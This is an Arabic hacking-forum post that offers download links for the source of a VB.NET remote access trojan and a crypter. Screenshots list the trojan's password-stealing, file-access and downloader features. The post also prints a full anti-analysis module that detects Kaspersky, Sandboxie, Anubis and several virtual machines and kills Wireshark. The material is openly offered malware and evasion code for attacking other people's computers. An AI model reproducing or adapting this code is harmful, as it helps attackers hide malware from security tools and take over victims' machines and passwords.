development-point - حل [ سؤرس برنأمج أخترأق ألآجهزه ] |[ Dr.virus rat سؤري كؤد تخطيات + برنأمج تشفير]|

http://i.imgur.com/JwKmlMT.png

» الحمد لله الذي جعل الأولياء صفوة خلقه فهم إلى لقائه يتأهبون تسلوا بالصلوات عن الشهوات وبحلاوة التلاوة عن اللذات «

» فحبه في قلوبهم مصون ، صفحات وجوههم تنبيك عن أنوار قلوبهم ، مسك أنفاسهم قد عطر الكون فله الخلائق يستنشقون «

» فلو ذاق الملوك قطرة من شرابهم لكاتوا للدنيا يطلقون، وإذا ترنمو بكلام الحبيب رأيتهم صحاةً سكارى يغيبون ويحضرون «

» فالجبال أوتاد الأرض وهم أوتاد الجبال ولولاهم لمادت الأرض بالخلائق حين يعصون «

http://i.imgur.com/nabgddT.png

» الحمد لله ما غرد بلبل وصدح، وما اهتدى قلب وانشرح ، وما عم فينا سرور وفرح ، الحمد لله ما ارتفع نور الحق وظهر، «

» وما تراجع الباطل وتقهقر، وما سال نبع ماء وتفجر ، وما طلع صبح وأسفر ، وصلاة وسلاماًَ طيبين مباركين على النبي «

» المطهر صاحب الوجه الأنور ، والجبين الأزهر ، ما سار سفين للحق وأبحر ، وما على نجم في السماء وأبهر ، وعلى آله وصحبه «

» خير أهل ومعشر ، صلاة وسلاماًَ إلى يوم البعث و المحشر «

http://i.imgur.com/nabgddT.png

» ســـــــلام الله يسري ما أقيمت صــــــلاة من عـبــاد خــاشــعــيــنــا «

» وما جادت بـمـاء المزن سحــب سـقـى الأشـجـار والــزرع الـدفـيـنـا «

» ســـــــلام عـــــاطر ولـه أريــج من الأعـماق يـعــبـق ياســـمــيـــنـا «

» ســـــــلام الله نـهـديــه إليكــــــم مـع الإشـفـــاق مــمــزوجاًَ حـنـيـنـاًَ «

http://i.imgur.com/nabgddT.png

» وها هي سفينتنا تمخر عباب هذا البحر المتلاطم بأمواجه العاتية , وكلها ثبات ورباطة جأش «

» على تحدي الصعاب وتجاوز العقبات, لتصل لبر الأمان , ولترسوا في ميناء الإخاء , بعد أن «

» غامرت , وصبرت وصابرت, وكان لزاماًَ عليها , أن تأتي بالجديد من الجواهر,التي جمعها «

» غواصوها المهرة , لتعرضها في سوق المحبة والنقاء فكم قد حوت سفينتنا من الجواهر , واليوم «

» هي في عرسها البهيج , وليلها العليل, بعد أن أرست تكلؤها عين الله يسرها بل ويسعدها , أن تحلق «

» بكم في هذه الاذاعة , لتحذيكم وتهديكم ، اذاعة رائعاًَ جديداًَ فإلى حدائقها الغناء نحملكم , وإلى أفيائها «

» الوارفة نصحبكم , لنهديكم أزهار محبة ووفاء , وعطور مسك وصفاء لنقطف معاًَ , زهرات شذية «

» مع نسمات ندية ، فكم فيها من زهرات وزهرات, من حدائق حفلنا المعطاء «

http://i.imgur.com/nabgddT.png

|[ سؤرس برنأمج أخترأق اجهزه » VB.NET معدل من طرفي ]|

ؤجهَ ألبرنأمج http://www.dev-point.com/vb/imagize/smilies/D1.gif

http://im33.gulfup.com/Fo3IW.png

|[ خصأيص تكؤين ألسيرفرَ + تخطيأت ؤحجب http://www.dev-point.com/vb/imagize/smilies/D1.gif ]|

http://im33.gulfup.com/9iVw4.png

|[ خصأيص بعد » ؤصؤل ألتبليغ ]|

http://im42.gulfup.com/u6YvV.png

[| خصيت تشغَيل ألبؤرت http://www.dev-point.com/vb/imagize/smilies/D1.gif ]|

http://im42.gulfup.com/exiwJ.png

|[ خصيت سحب » ألبأس بؤرد ]|

http://im31.gulfup.com/Dg56F.png

[| خصيت » ألمفأت |]

http://im31.gulfup.com/w9kuD.png

|[ خأصيت » FUN ]|

http://im31.gulfup.com/aGn9P.png

|[ خاصيت » عمل دالنودر ]|

http://im42.gulfup.com/JSKE7.png

[| لتحميل ألسؤرس كؤد http://www.dev-point.com/vb/imagize/smilies/D1.gif]|

هنــأ

http://i.imgur.com/nabgddT.png

[| ألجز ألثأني هدية » برنأمج تشفير ]|

http://im36.gulfup.com/BUM2Q.png

[| ألستب كلينَ لتحميل ألبرنامج http://www.dev-point.com/vb/imagize/smilies/D1.gif ]|

هنــأ
http://i.imgur.com/nabgddT.png

هدية من ألعيار ألثقيل تخطيات http://www.dev-point.com/vb/imagize/smilies/D1.gif

اقتباس:

'Anti Module (Anti Kaspersky, Anubis, Sandboxie, Virtual Box, VMWare, Virtual PC, and WireShark)

Imports Microsoft.Win32

Module Antis
Dim Devices As Object, Grafikadapter As String, RegionA As String = "SELECT * FROM Win32_VideoController"
Dim regPID As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microso ft\Windows NT\CurrentVersion", False)
Dim pid As Object = regPID.GetValue("ProductId")
Dim id As String = "76487-337-8429955-22614"

Public Function antiKAV() As Boolean
On Error GoTo error1
If Process.GetProcessesByName("avp").Length >= 1 Then
Return True
Else
Return False
End If
Exit Function
error1:
End
End Function
Private Sub AntiWireShark()

Dim ProcessList As System.Diagnostics.Process()

ProcessList = System.Diagnostics.Process.GetProcesses()

Dim Proc As System.Diagnostics.Process

Dim title As String

For Each Proc In ProcessList
title = Proc.MainWindowTitle
If (String.Equals(title, "The Wireshark Network Analyzer")) Then

Proc.Kill()

End If
Next
End Sub
Public Function antiSandboxie() As Boolean
On Error GoTo error1
If Process.GetProcessesByName("SbieSvc").Length >= 1 Then
Return True
Else
Return False
End If
Exit Function
error1:
End
End Function

Public Function antiAnubis() As Boolean
On Error GoTo error1
Dim folder As String = Application.StartupPath
Dim getFile As String = folder & "\sample.exe"
If Application.ExecutablePath = getFile Then
Return True
Else
Return False
End If
Exit Function
error1:
End
End Function

Public Function antiAnubis2() As Boolean
On Error GoTo error1
If pid = id Then
Return True
Else
Return False
End If
Exit Function
error1:
End
End Function

Public Function AntiVirtualBox() As Boolean
On Error GoTo error1
Call getDevices()

Select Case Grafikadapter
Case "VirtualBox Graphics Adapter"
Return True
Case Else
Return False
End Select
Exit Function
error1:
End
End Function

Public Function AntiVmWare() As Boolean
On Error GoTo error1
Call getDevices()

Select Case Grafikadapter
Case "VMware SVGA II"
Return True
Case Else
Return False
End Select
Exit Function
error1:
End
End Function

Public Function AntiVirtualPC() As Boolean
On Error GoTo error1
Call getDevices()

Select Case Grafikadapter
Case "VM Additions S3 Trio32/64"
Return True
Case Else
Return False
End Select
Exit Function
error1:
End
End Function

Private Sub getDevices()
On Error GoTo error1
Devices = GetObject("winmgmts:").ExecQuery(RegionA)
For Each AdaptList In Devices
Grafikadapter = AdaptList.Description
Next
Exit Sub
error1:
End
End Sub
End Module

|[ ؤأخر شي هدية قيمه » دؤس هؤن ]|

تحيأتي للجميع » Dr.virus

http://www.dev-point.com/vb/imagize/smilies/D1.gif